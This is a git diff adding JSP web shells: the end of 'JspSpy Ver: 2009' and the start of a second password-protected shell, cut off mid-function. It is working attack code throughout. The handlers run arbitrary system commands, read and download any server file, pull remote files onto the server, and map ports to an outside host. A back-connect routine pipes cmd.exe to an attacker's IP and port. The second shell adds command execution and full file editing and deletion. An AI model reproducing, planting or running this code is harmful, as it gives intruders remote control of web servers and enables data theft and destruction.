    "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
    "+ +"
    "+ +"

    Remote File DownLoad »

    "+ +"

    "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); + +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); + +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); + +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    PortMap >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

    "+ +" "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    Back Connect >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

    "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

    System Properties >>

    "+ +"
    "+ +"
    "+ +"
      "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
    • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
    • "); +} +out.println("

    System Environment >>


      "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
    • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
    • "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
    Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
    "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "); +out.println("

    Shell OnLine »


    "); +out.println("
    "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
    "+ +"
    "+ +" "+ +"
    "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
    "+ +" " +); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流。 +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
    "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> \ No newline at end of file diff --git a/jsp/jspbrowser/2.jsp b/jsp/jspbrowser/2.jsp new file mode 100644 index 0000000..99a82b5 --- /dev/null +++ b/jsp/jspbrowser/2.jsp @@ -0,0 +1,1778 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "ceshi2009"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; + +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} + +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
    "); + + return str; +} + +public String Unicode2GB(String str) { + String sRet = null; + + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} + +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} + +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} + +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + + sRet += "\n"; + + sRet += " \n"; + + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
    \n"; + sRet += "  上级目录 "; + sRet += "创建目录 "; + sRet += "新建文件 "; + sRet += "删除 "; + sRet += "复制 "; + sRet += "重命名 "; + sRet += "上传文件\n"; + sRet += " \n"; + sRet += "
    <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
    \n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + + fileName = pathConvert(fileName); + + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + + path = pathConvert(path); + + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} + +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + + path = pathConvert(path); + + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "不能打开文件\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "安全问题,没有权限执行该操作"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
    [上级目录]
    \n"; + sRet += " \n"; + sRet += "
     
    \n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "文件不可写"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "文件保存成功,正在返回,请稍候……\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "保存文件失败"; + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"目录已经存在"; + } else { + if (folder.mkdir()) { + sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\",正在返回,请稍候……\n"; + sRet += ""; + } else { + sRet = "创建目录\"" + folderName + "\"失败"; + } + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if 